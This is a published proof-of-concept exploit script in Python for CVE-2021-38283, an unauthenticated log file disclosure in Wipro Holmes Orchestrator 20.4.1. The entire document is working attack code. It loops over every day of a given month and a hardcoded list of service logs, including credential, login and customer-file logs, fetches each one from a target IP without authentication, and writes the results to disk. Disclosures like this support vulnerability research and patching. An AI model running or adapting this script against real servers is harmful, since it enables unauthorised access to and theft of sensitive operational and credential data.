# Exploit Title: Wipro Holmes Orchestrator 20.4.1 - Log File Disclosure
# Date: 09/08/2021
# Exploit Author: Rizal Muhammed @ub3rsick
# Vendor Homepage: https://www.wipro.com/holmes/
# Version: Wipro Holmes Orchestrator v20.4.1
# Tested on: Windows
# CVE : CVE-2021-38283
import requests as rq
import argparse
import datetime
import os
from calendar import monthrange
from multiprocessing.dummy import Pool as ThreadPool
from functools import partial
# Change if running on different port
port = 8001
log_list = [
"AlertService.txt", "ApprovalService.txt", "AuditService.txt", "CustomerController.txt",
"CustomerDomainCredentialService.txt", "CustomerFile.zip", "CustomerService.txt",
"DashboardController.txt", "DataParseService.txt", "DomainService.txt", "ExecutionService.txt",
"ExternalAPIService.txt", "FilesController.txt", "FormService.txt", "InfrastructureService.txt",
"ITSMConfigPrepService.txt", "LicenseService.txt", "LoginService.txt", "MailService.txt",
"MasterdataController.txt", "NetworkService.txt", "OrchestrationPreparationService.txt",
"ProblemInfrastructureService.txt", "ProcessExecutionService.txt", "ServiceRequestService.txt",
"SolutionController.txt", "SolutionLiveService.txt", "SolutionService.txt", "StorageService.txt",
"TaskService.txt", "TicketingService.txt", "UserController.txt", "UtilityService.txt"
]
def check_month(val):
ival = int(val)
if ival > 0 and ival < 13:
return ival
else:
raise argparse.ArgumentTypeError("%s is not a valid month" % val)
def check_year(val):
iyear = int(val)
if iyear >= 1960 and iyear <= datetime.date.today().year:
return iyear
else:
raise argparse.ArgumentTypeError("%s is not a valid year" % val)
def do_request(target, date, log_file):
log_url = f"http://{target}/log/{date}/{log_file}"
log_name = f"{date}_{log_file}"
print(f"[*] Requesting Log: /log/{date}/{log_file}")
resp = rq.get(log_url)
if resp.status_code == 200 and not "Wipro Ltd." in resp.text:
print(f"[+] Success: {log_url}")
with open(f"logs/{log_name}", 'w') as lf:
lf.write(resp.text)
print(f"[*] Log File Written to ./logs/{log_name}")
def main():
parser = argparse.ArgumentParser(description="Wipro Holmes Orchestrator 20.4.1 Unauthenticated Log File Disclosure",
epilog="Vulnerability Discovery, PoC Author - Rizal Muhammed @ub3sick")
parser.add_argument("-t", "--target-ip", help="IP Address of the target server", required=True)
parser.add_argument("-m", "--month", help="Month of the log, (1=JAN, 2=FEB etc.)", required=True, type=check_month)
parser.add_argument("-y", "--year", help="Year of the log", required=True, type=check_year)
args = parser.parse_args()
ndays = monthrange(args.year, args.month)[1]
date_list = [f"{datetime.date(args.year, args.month, day)}" for day in range(1, ndays + 1)]
target = f"{args.target_ip}:{port}"
# Create folder "logs" to save log files, if it does not exist
if not os.path.exists("./logs"):
os.makedirs("./logs")
for log_date in date_list:
for log_file in log_list:
do_request(target, log_date, log_file)
if __name__ == "__main__":
main()